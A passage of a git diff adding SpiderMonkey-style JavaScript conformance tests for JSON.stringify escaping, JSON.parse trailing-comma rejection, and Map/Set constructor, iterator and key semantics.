+assertEq(JSON.stringify("\u0008Q"), '"\\bQ"');
+assertEq(JSON.stringify("\u0009Q"), '"\\tQ"');
+assertEq(JSON.stringify("\u000AQ"), '"\\nQ"');
+assertEq(JSON.stringify("\u000BQ"), '"\\u000bQ"');
+assertEq(JSON.stringify("\u000CQ"), '"\\fQ"');
+assertEq(JSON.stringify("\u000DQ"), '"\\rQ"');
+assertEq(JSON.stringify("\u000EQ"), '"\\u000eQ"');
+assertEq(JSON.stringify("\u000FQ"), '"\\u000fQ"');
+assertEq(JSON.stringify("\u0010Q"), '"\\u0010Q"');
+assertEq(JSON.stringify("\u0011Q"), '"\\u0011Q"');
+assertEq(JSON.stringify("\u0012Q"), '"\\u0012Q"');
+assertEq(JSON.stringify("\u0013Q"), '"\\u0013Q"');
+assertEq(JSON.stringify("\u0014Q"), '"\\u0014Q"');
+assertEq(JSON.stringify("\u0015Q"), '"\\u0015Q"');
+assertEq(JSON.stringify("\u0016Q"), '"\\u0016Q"');
+assertEq(JSON.stringify("\u0017Q"), '"\\u0017Q"');
+assertEq(JSON.stringify("\u0018Q"), '"\\u0018Q"');
+assertEq(JSON.stringify("\u0019Q"), '"\\u0019Q"');
+assertEq(JSON.stringify("\u001AQ"), '"\\u001aQ"');
+assertEq(JSON.stringify("\u001BQ"), '"\\u001bQ"');
+assertEq(JSON.stringify("\u001CQ"), '"\\u001cQ"');
+assertEq(JSON.stringify("\u001DQ"), '"\\u001dQ"');
+assertEq(JSON.stringify("\u001EQ"), '"\\u001eQ"');
+assertEq(JSON.stringify("\u001FQ"), '"\\u001fQ"');
+assertEq(JSON.stringify("\u0020Q"), '" Q"');
+
+assertEq(JSON.stringify("\\u0000Q"), '"\\\\u0000Q"');
+assertEq(JSON.stringify("\\u0001Q"), '"\\\\u0001Q"');
+assertEq(JSON.stringify("\\u0002Q"), '"\\\\u0002Q"');
+assertEq(JSON.stringify("\\u0003Q"), '"\\\\u0003Q"');
+assertEq(JSON.stringify("\\u0004Q"), '"\\\\u0004Q"');
+assertEq(JSON.stringify("\\u0005Q"), '"\\\\u0005Q"');
+assertEq(JSON.stringify("\\u0006Q"), '"\\\\u0006Q"');
+assertEq(JSON.stringify("\\u0007Q"), '"\\\\u0007Q"');
+assertEq(JSON.stringify("\\u0008Q"), '"\\\\u0008Q"');
+assertEq(JSON.stringify("\\u0009Q"), '"\\\\u0009Q"');
+assertEq(JSON.stringify("\\u000AQ"), '"\\\\u000AQ"');
+assertEq(JSON.stringify("\\u000BQ"), '"\\\\u000BQ"');
+assertEq(JSON.stringify("\\u000CQ"), '"\\\\u000CQ"');
+assertEq(JSON.stringify("\\u000DQ"), '"\\\\u000DQ"');
+assertEq(JSON.stringify("\\u000EQ"), '"\\\\u000EQ"');
+assertEq(JSON.stringify("\\u000FQ"), '"\\\\u000FQ"');
+assertEq(JSON.stringify("\\u0010Q"), '"\\\\u0010Q"');
+assertEq(JSON.stringify("\\u0011Q"), '"\\\\u0011Q"');
+assertEq(JSON.stringify("\\u0012Q"), '"\\\\u0012Q"');
+assertEq(JSON.stringify("\\u0013Q"), '"\\\\u0013Q"');
+assertEq(JSON.stringify("\\u0014Q"), '"\\\\u0014Q"');
+assertEq(JSON.stringify("\\u0015Q"), '"\\\\u0015Q"');
+assertEq(JSON.stringify("\\u0016Q"), '"\\\\u0016Q"');
+assertEq(JSON.stringify("\\u0017Q"), '"\\\\u0017Q"');
+assertEq(JSON.stringify("\\u0018Q"), '"\\\\u0018Q"');
+assertEq(JSON.stringify("\\u0019Q"), '"\\\\u0019Q"');
+assertEq(JSON.stringify("\\u001AQ"), '"\\\\u001AQ"');
+assertEq(JSON.stringify("\\u001BQ"), '"\\\\u001BQ"');
+assertEq(JSON.stringify("\\u001CQ"), '"\\\\u001CQ"');
+assertEq(JSON.stringify("\\u001DQ"), '"\\\\u001DQ"');
+assertEq(JSON.stringify("\\u001EQ"), '"\\\\u001EQ"');
+assertEq(JSON.stringify("\\u001FQ"), '"\\\\u001FQ"');
+assertEq(JSON.stringify("\\u0020Q"), '"\\\\u0020Q"');
+
+// https://tc39.github.io/proposal-well-formed-stringify/
+
+assertEq(JSON.stringify("\ud7ff"), '"\ud7ff"');
+assertEq(JSON.stringify("\ud800"), '"\\ud800"');
+assertEq(JSON.stringify("\ud937"), '"\\ud937"');
+assertEq(JSON.stringify("\uda20"), '"\\uda20"');
+assertEq(JSON.stringify("\udbff"), '"\\udbff"');
+
+assertEq(JSON.stringify("\udc00"), '"\\udc00"');
+assertEq(JSON.stringify("\udddd"), '"\\udddd"');
+assertEq(JSON.stringify("\udeaf"), '"\\udeaf"');
+assertEq(JSON.stringify("\udfff"), '"\\udfff"');
+assertEq(JSON.stringify("\ue000"), '"\ue000"');
+
+assertEq(JSON.stringify("\ud7ffa"), '"\ud7ffa"');
+assertEq(JSON.stringify("\ud800a"), '"\\ud800a"');
+assertEq(JSON.stringify("\ud937a"), '"\\ud937a"');
+assertEq(JSON.stringify("\uda20a"), '"\\uda20a"');
+assertEq(JSON.stringify("\udbffa"), '"\\udbffa"');
+
+assertEq(JSON.stringify("\udc00a"), '"\\udc00a"');
+assertEq(JSON.stringify("\udddda"), '"\\udddda"');
+assertEq(JSON.stringify("\udeafa"), '"\\udeafa"');
+assertEq(JSON.stringify("\udfffa"), '"\\udfffa"');
+assertEq(JSON.stringify("\ue000a"), '"\ue000a"');
+
+assertEq(JSON.stringify("\ud7ff\ud800"), '"\ud7ff\\ud800"');
+assertEq(JSON.stringify("\ud800\ud800"), '"\\ud800\\ud800"');
+assertEq(JSON.stringify("\ud937\ud800"), '"\\ud937\\ud800"');
+assertEq(JSON.stringify("\uda20\ud800"), '"\\uda20\\ud800"');
+assertEq(JSON.stringify("\udbff\ud800"), '"\\udbff\\ud800"');
+
+assertEq(JSON.stringify("\udc00\ud800"), '"\\udc00\\ud800"');
+assertEq(JSON.stringify("\udddd\ud800"), '"\\udddd\\ud800"');
+assertEq(JSON.stringify("\udeaf\ud800"), '"\\udeaf\\ud800"');
+assertEq(JSON.stringify("\udfff\ud800"), '"\\udfff\\ud800"');
+assertEq(JSON.stringify("\ue000\ud800"), '"\ue000\\ud800"');
+
+assertEq(JSON.stringify("\ud7ff\udc00"), '"\ud7ff\\udc00"');
+assertEq(JSON.stringify("\ud800\udc00"), '"\ud800\udc00"');
+assertEq(JSON.stringify("\ud937\udc00"), '"\ud937\udc00"');
+assertEq(JSON.stringify("\uda20\udc00"), '"\uda20\udc00"');
+assertEq(JSON.stringify("\udbff\udc00"), '"\udbff\udc00"');
+
+assertEq(JSON.stringify("\udc00\udc00"), '"\\udc00\\udc00"');
+assertEq(JSON.stringify("\udddd\udc00"), '"\\udddd\\udc00"');
+assertEq(JSON.stringify("\udeaf\udc00"), '"\\udeaf\\udc00"');
+assertEq(JSON.stringify("\udfff\udc00"), '"\\udfff\\udc00"');
+assertEq(JSON.stringify("\ue000\udc00"), '"\ue000\\udc00"');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-toJSON-arguments.js b/js/src/tests/non262/JSON/stringify-toJSON-arguments.js
new file mode 100644
index 0000000000..7c2013d588
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-toJSON-arguments.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-toJSON-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Arguments when an object's toJSON method is called";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: {
+ toJSON: function(key)
+ {
+ assertEq(arguments.length, 1);
+ assertEq(key, "p");
+ return 17;
+ }
+ }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":17}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify.js b/js/src/tests/non262/JSON/stringify.js
new file mode 100644
index 0000000000..3b21474206
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify.js
@@ -0,0 +1,87 @@
+function assertStringify(v, expect)
+{
+ assertEq(JSON.stringify(v), expect);
+}
+
+assertStringify({}, "{}");
+assertStringify([], "[]");
+assertStringify({"foo":"bar"}, '{"foo":"bar"}');
+assertStringify({"null":null}, '{"null":null}');
+assertStringify({"five":5}, '{"five":5}');
+assertStringify({"five":5, "six":6}, '{"five":5,"six":6}');
+assertStringify({"x":{"y":"z"}}, '{"x":{"y":"z"}}');
+assertStringify({"w":{"x":{"y":"z"}}}, '{"w":{"x":{"y":"z"}}}');
+assertStringify([1,2,3], '[1,2,3]');
+assertStringify({"w":{"x":{"y":[1,2,3]}}}, '{"w":{"x":{"y":[1,2,3]}}}');
+assertStringify({"false":false}, '{"false":false}');
+assertStringify({"true":true}, '{"true":true}');
+assertStringify({"child has two members": {"this":"one", 2:"and this one"}},
+ '{"child has two members":{"2":"and this one","this":"one"}}');
+assertStringify({"x":{"a":"b","c":{"y":"z"},"f":"g"}},
+ '{"x":{"a":"b","c":{"y":"z"},"f":"g"}}');
+assertStringify({"x":[1,{"y":"z"},3]}, '{"x":[1,{"y":"z"},3]}');
+assertStringify([new String("hmm")], '["hmm"]');
+assertStringify([new Boolean(true)], '[true]');
+assertStringify([new Number(42)], '[42]');
+assertStringify([new Date(Date.UTC(1978, 8, 13, 12, 24, 34, 23))],
+ '["1978-09-13T12:24:34.023Z"]');
+assertStringify([1,,3], '[1,null,3]');
+assertStringify({"mm\"mm":"hmm"}, '{"mm\\\"mm":"hmm"}');
+assertStringify({"mm\"mm\"mm":"hmm"}, '{"mm\\\"mm\\\"mm":"hmm"}');
+assertStringify({'"':"hmm"}, '{"\\\"":"hmm"}');
+assertStringify({'\\':"hmm"}, '{"\\\\":"hmm"}');
+assertStringify({'mmm\\mmm':"hmm"}, '{"mmm\\\\mmm":"hmm"}');
+assertStringify({'mmm\\mmm\\mmm':"hmm"}, '{"mmm\\\\mmm\\\\mmm":"hmm"}');
+assertStringify({"mm\u000bmm":"hmm"}, '{"mm\\u000bmm":"hmm"}');
+assertStringify({"mm\u0000mm":"hmm"}, '{"mm\\u0000mm":"hmm"}');
+assertStringify({"\u0000\u000b":""}, '{"\\u0000\\u000b":""}');
+assertStringify({"\u000b\ufdfd":"hmm"}, '{"\\u000b\ufdfd":"hmm"}');
+assertStringify({"\u000b\ufdfd":"h\xfc\ufdfdm"}, '{"\\u000b\ufdfd":"h\xfc\ufdfdm"}');
+
+var x = {"free":"variable"};
+assertStringify(x, '{"free":"variable"}');
+assertStringify({"y":x}, '{"y":{"free":"variable"}}');
+
+// array prop
+assertStringify({ a: [1,2,3] }, '{"a":[1,2,3]}');
+
+assertStringify({"y": { foo: function(hmm) { return hmm; } } }, '{"y":{}}');
+
+// test toJSON
+var hmm = { toJSON: function() { return {"foo":"bar"} } };
+assertStringify({"hmm":hmm}, '{"hmm":{"foo":"bar"}}');
+assertStringify(hmm, '{"foo":"bar"}'); // on the root
+
+// toJSON on prototype
+var Y = function() {
+ this.not = "there?";
+ this.d = "e";
+};
+Y.prototype = {
+ not: "there?",
+ toJSON: function() { return {"foo":"bar"}}
+};
+var y = new Y();
+assertStringify(y.toJSON(), '{"foo":"bar"}');
+assertStringify(y, '{"foo":"bar"}');
+
+// return undefined from toJSON
+assertStringify({"hmm": { toJSON: function() { return; } } }, '{}');
+
+// array with named prop
+var x = new Array();
+x[0] = 1;
+x.foo = "bar";
+assertStringify(x, '[1]');
+
+// prototype
+var X = function() { this.a = "b" };
+X.prototype = { c: "d" };
+assertStringify(new X(), '{"a":"b"}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/trailing-comma.js b/js/src/tests/non262/JSON/trailing-comma.js
new file mode 100644
index 0000000000..0dc20e71a0
--- /dev/null
+++ b/js/src/tests/non262/JSON/trailing-comma.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'trailing-comma.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 564621;
+var summary = 'JSON.parse should reject {"a" : "b",} or [1,]';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+testJSON('[]', false);
+testJSON('[1]', false);
+testJSON('["a"]', false);
+testJSON('{}', false);
+testJSON('{"a":1}', false);
+testJSON('{"a":"b"}', false);
+testJSON('{"a":true}', false);
+testJSON('[{}]', false);
+
+testJSON('[1,]', true);
+testJSON('["a",]', true);
+testJSON('{,}', true);
+testJSON('{"a":1,}', true);
+testJSON('{"a":"b",}', true);
+testJSON('{"a":true,}', true);
+testJSON('[{,}]', true);
+testJSON('[[1,]]', true);
+testJSON('[{"a":"b",}]', true);
diff --git a/js/src/tests/non262/Map/NaN-as-key.js b/js/src/tests/non262/Map/NaN-as-key.js
new file mode 100644
index 0000000000..6fa5ee67e9
--- /dev/null
+++ b/js/src/tests/non262/Map/NaN-as-key.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 722260;
+var summary = 'All NaNs must be treated as identical keys for Map';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* Avoid constant-folding that would happen were |undefined| to be used. */
+var key = -/a/g.missingProperty;
+
+var m = new Map();
+m.set(key, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(-key);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+m.set(-key, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(NaN);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+m.set(NaN, 17);
+assertEq(m.get(key), 17);
+assertEq(m.get(-key), 17);
+assertEq(m.get(NaN), 17);
+
+m.delete(key);
+assertEq(m.has(key), false);
+assertEq(m.has(-key), false);
+assertEq(m.has(NaN), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Map/browser.js b/js/src/tests/non262/Map/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Map/browser.js
diff --git a/js/src/tests/non262/Map/constructor-iterator-close.js b/js/src/tests/non262/Map/constructor-iterator-close.js
new file mode 100644
index 0000000000..084e6cb257
--- /dev/null
+++ b/js/src/tests/non262/Map/constructor-iterator-close.js
@@ -0,0 +1,293 @@
+var BUGNUMBER = 1180306;
+var summary = 'Map/Set/WeakMap/WeakSet constructor should close iterator on error';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctors, { nextVal=undefined,
+ nextThrowVal=undefined,
+ modifier=undefined,
+ exceptionVal=undefined,
+ exceptionType=undefined,
+ closed=true }) {
+ function getIterable() {
+ let iterable = {
+ closed: false,
+ [Symbol.iterator]() {
+ let iterator = {
+ first: true,
+ next() {
+ if (this.first) {
+ this.first = false;
+ if (nextThrowVal)
+ throw nextThrowVal;
+ return nextVal;
+ }
+ return { value: undefined, done: true };
+ },
+ return() {
+ iterable.closed = true;
+ return {};
+ }
+ };
+ if (modifier)
+ modifier(iterator, iterable);
+
+ return iterator;
+ }
+ };
+ return iterable;
+ }
+
+ for (let ctor of ctors) {
+ let iterable = getIterable();
+ if (exceptionVal) {
+ let caught = false;
+ try {
+ new ctor(iterable);
+ } catch (e) {
+ assertEq(e, exceptionVal);
+ caught = true;
+ }
+ assertEq(caught, true);
+ } else if (exceptionType) {
+ assertThrowsInstanceOf(() => new ctor(iterable), exceptionType);
+ } else {
+ new ctor(iterable);
+ }
+ assertEq(iterable.closed, closed);
+ }
+}
+
+// == Error cases with close ==
+
+// ES 2017 draft 23.1.1.1 Map step 8.d.ii.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.d.ii.
+test([Map, WeakMap], {
+ nextVal: { value: "non object", done: false },
+ exceptionType: TypeError,
+ closed: true,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.f.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.f.
+test([Map, WeakMap], {
+ nextVal: { value: { get 0() { throw "0 getter throws"; } }, done: false },
+ exceptionVal: "0 getter throws",
+ closed: true,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.h.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.h.
+test([Map, WeakMap], {
+ nextVal: { value: { 0: {}, get 1() { throw "1 getter throws"; } }, done: false },
+ exceptionVal: "1 getter throws",
+ closed: true,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.j.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.j.
+class MyMap extends Map {
+ set(k, v) {
+ throw "setter throws";
+ }
+}
+class MyWeakMap extends WeakMap {
+ set(k, v) {
+ throw "setter throws";
+ }
+}
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+
+// ES 2017 draft 23.2.1.1 Set step 8.e.
+// ES 2017 draft 23.4.1.1 WeakSet step 8.e.
+class MySet extends Set {
+ add(v) {
+ throw "adder throws";
+ }
+}
+class MyWeakSet extends WeakSet {
+ add(v) {
+ throw "adder throws";
+ }
+}
+test([MySet, MyWeakSet], {
+ nextVal: { value: {}, done: false },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+// ES 2021 draft 7.4.6 step 5.
+// if GetMethod fails, the thrown value should be ignored.
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 steps 6.
+// if return method throws, the thrown value should be ignored.
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+test([MyMap, MyWeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ exceptionVal: "setter throws",
+ closed: true,
+});
+test([MySet, MyWeakSet], {
+ nextVal: { value: [{}, {}], done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ exceptionVal: "adder throws",
+ closed: true,
+});
+
+// == Error cases without close ==
+
+// ES 2017 draft 23.1.1.1 Map step 8.a.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.a.
+// ES 2017 draft 23.2.1.1 Set step 8.a.
+// ES 2017 draft 23.4.1.1 WeakSet step 8.a.
+test([Map, WeakMap, Set, WeakSet], {
+ nextThrowVal: "next throws",
+ exceptionVal: "next throws",
+ closed: false,
+});
+test([Map, WeakMap, Set, WeakSet], {
+ nextVal: { value: {}, get done() { throw "done getter throws"; } },
+ exceptionVal: "done getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 23.1.1.1 Map step 8.c.
+// ES 2017 draft 23.3.1.1 WeakMap step 8.c.
+// ES 2017 draft 23.2.1.1 Set step 8.c.
+// ES 2017 draft 23.4.1.1 WeakSet step 8.c.
+test([Map, WeakMap, Set, WeakSet], {
+ nextVal: { get value() { throw "value getter throws"; }, done: false },
+ exceptionVal: "value getter throws",
+ closed: false,
+});
+
+// == Successful cases ==
+
+test([Map, WeakMap], {
+ nextVal: { value: [{}, {}], done: false },
+ closed: false,
+});
+test([Set, WeakSet], {
+ nextVal: { value: {}, done: false },
+ closed: false,
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Map/constructor-iterator-primitive.js b/js/src/tests/non262/Map/constructor-iterator-primitive.js
new file mode 100644
index 0000000000..e1fff5c3c9
--- /dev/null
+++ b/js/src/tests/non262/Map/constructor-iterator-primitive.js
@@ -0,0 +1,34 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let ctors = [
+ Map,
+ Set,
+ WeakMap,
+ WeakSet
+];
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let ctor of ctors) {
+ for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => new ctor(arg), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Map/forEach-selfhosted-behavior.js b/js/src/tests/non262/Map/forEach-selfhosted-behavior.js
new file mode 100644
index 0000000000..ed4d8b57f8
--- /dev/null
+++ b/js/src/tests/non262/Map/forEach-selfhosted-behavior.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 987243;
+var summary = "Don't use .call(...) in the self-hosted Map.prototype.forEach";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var functionCall = Function.prototype.call;
+
+function throwSyntaxError()
+{
+ throw new SyntaxError("Function.prototype.call incorrectly called");
+}
+
+function lalala() {}
+
+Function.prototype.call = throwSyntaxError;
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+Function.prototype.call = function() { this.set(42, "fnord"); };
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+var callCount = 0;
+Function.prototype.call = function() { callCount++; };
+
+new Map().forEach(throwSyntaxError);
+new Map([[1, 2]]).forEach(lalala);
+new Map([[1, 2], [3, 4]]).forEach(lalala);
+
+assertEq(callCount, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Map/getter-name.js b/js/src/tests/non262/Map/getter-name.js
new file mode 100644
index 0000000000..08f7890c75
--- /dev/null
+++ b/js/src/tests/non262/Map/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Map getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Map, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(Map.prototype, "size").get.name, "get size");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Map/iterable.js b/js/src/tests/non262/Map/iterable.js
new file mode 100644
index 0000000000..cf6b7228ab
--- /dev/null
+++ b/js/src/tests/non262/Map/iterable.js
@@ -0,0 +1,28 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+let length;
+let iterable = {
+ [Symbol.iterator]() { return this; },
+ next() { length = arguments.length; return {done: true}; }
+};
+
+new Map(iterable);
+// ensure no arguments are passed to next() during construction (Bug 1197095)
+assertEq(length, 0);
+
+let typeofThis;
+Object.defineProperty(Number.prototype, Symbol.iterator, {
+ value() {
+ "use strict";
+ typeofThis = typeof this;
+ return { next() { return {done: true}; } };
+ }
+});
+
+new Map(0);
+// ensure that iterable objects retain their type (Bug 1197094)
+assertEq(typeofThis, "number");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Map/iterator-thisv-error.js b/js/src/tests/non262/Map/iterator-thisv-error.js
new file mode 100644
index 0000000000..cc85c90f25
--- /dev/null
+++ b/js/src/tests/non262/Map/iterator-thisv-error.js
@@ -0,0 +1,24 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+function test(fn, thisv) {
+ var message;
+ try {
+ fn.call(thisv);
+ } catch (e) {
+ message = e.message;
+ }
+
+ assertEq(/^\w+ method called on incompatible.+/.test(message), true);
+ assertEq(message.includes("std_"), false);
+}
+
+for (var thisv of [null, undefined, false, true, 0, ""]) {
+ test(Map.prototype.values, thisv);
+ test(Map.prototype.keys, thisv);
+ test(Map.prototype.entries, thisv);
+ test(Map.prototype[Symbol.iterator], thisv);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Map/record-tuple.js b/js/src/tests/non262/Map/record-tuple.js
new file mode 100644
index 0000000000..92c9d68414
--- /dev/null
+++ b/js/src/tests/non262/Map/record-tuple.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+function test(input, query, same) {
+ assertEq(set(input).has(query), same);
+ assertEq(new Map([[input, 1]]).has(query), same);
+ if (same) assertEq(new Map([[input, 1]]).get(query), 1);
+}
+function first(it) {
+ for (const v of it) return v;
+}
+function set(v) {
+ return new Set([v]);
+}
+
+
+test(#[0, 1], #[0, 1], true);
+test(#[0, 1], #[1, 0], false);
+
+test(#{x: 1}, #{x: 1}, true);
+test(#{x: 1}, #{y: 1}, false);
+test(#{x: 1}, #{x: 0}, false);
+test(#{x: 0, y: 1}, #{x: 0, y: 1}, true);
+test(#{x: 0, y: 1}, #{y: 1, x: 0}, true);
+test(#{x: 0, y: 1}, #{x: 1, y: 0}, false);
+test(#{x: 0, y: 1}, #{x: 0, y: 0}, false);
+
+test(#[NaN], #[NaN], true);
+test(#{x: NaN}, #{x: NaN}, true);
+test(#[+0], #[-0], true);
+test(#{x: +0}, #{x: -0}, true);
+assertEq(Object.is(first(set(#[+0]))[0], +0), true);
+assertEq(Object.is(first(set(#[-0]))[0], -0), true);
+assertEq(Object.is(first(set(#{x: +0})).x, +0), true);
+assertEq(Object.is(first(set(#{x: -0})).x, -0), true);
+
+// Test ropes.
+test(#["ab" + String.fromCodePoint(67)], #["ab" + String.fromCodePoint(67)], true);
+test(#{ x: "ab" + String.fromCodePoint(67) }, #{ x: "ab" + String.fromCodePoint(67) }, true);
+test(#["ab" + String.fromCodePoint(67)], #["ab" + String.fromCodePoint(68)], false);
+test(#{ x: "ab" + String.fromCodePoint(67) }, #{ x: "ab" + String.fromCodePoint(68) }, false);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Map/shell.js b/js/src/tests/non262/Map/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Map/shell.js
diff --git a/js/src/tests/non262/Map/symbols.js b/js/src/tests/non262/Map/symbols.js
new file mode 100644
index 0000000000..30589a9732
--- /dev/null
+++ b/js/src/tests/non262/Map/symbols.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var m = new Map;
+
+// Symbols can be Map keys.
+var sym = Symbol();
+m.set(sym, "zero");
+assertEq(m.has(sym), true);
+assertEq(m.get(sym), "zero");
+assertEq(m.has(Symbol()), false);
+assertEq(m.get(Symbol()), undefined);
+assertEq([...m][0][0], sym);
+m.set(sym, "replaced");
+assertEq(m.get(sym), "replaced");
+m.delete(sym);
+assertEq(m.has(sym), false);
+assertEq(m.size, 0);
+
+// Symbols returned by Symbol.for() can be Map keys.
